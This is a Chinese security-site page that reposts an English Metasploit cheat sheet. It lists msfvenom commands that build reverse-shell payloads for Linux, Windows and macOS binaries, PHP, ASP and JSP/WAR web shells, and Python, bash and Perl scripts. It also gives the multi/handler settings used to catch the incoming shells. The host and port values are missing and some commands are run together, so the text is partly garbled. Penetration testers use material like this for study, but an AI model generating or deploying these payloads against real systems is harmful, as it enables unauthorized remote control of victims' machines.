标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-78] 作者: jiwozck 发表于: [2017-07-17] [2017-07-17]被用户:jiwozck 修改过
本文共 [922] 位读者顶过
Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it’s pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.[出自:jiwo.org]
List payloads msfvenom -l
Binaries:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=LPORT=-f elf > shell.elf
msfvenom -p windows/meterpreter/reverse_tcp LHOST=LPORT=-f exe > shell.exe
msfvenom -p osx/x86/shell_reverse_tcp LHOST=LPORT=-f macho > shell.macho
PHP msfvenom -p php/meterpreter_reverse_tcp LHOST=LPORT=-f raw > shell.php cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=LPORT=-f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=LPORT=-f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=LPORT=-f war > shell.war Scripting Payloads Python msfvenom -p cmd/unix/reverse_python LHOST=LPORT=-f raw > shell.py
msfvenom -p cmd/unix/reverse_bash LHOST=LPORT=-f raw > shell.sh
msfvenom -p cmd/unix/reverse_perl LHOST=LPORT=-f raw > shell.pl
For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits. Linux Based Shellcode msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=LPORT=-f
msfvenom -p windows/meterpreter/reverse_tcp LHOST=LPORT=-f
msfvenom -p osx/x86/shell_reverse_tcp LHOST=LPORT=-f
Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format. use exploit/multi/handler set PAYLOAD set LHOST set LPORT set ExitOnSession false exploit -j -z Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘ |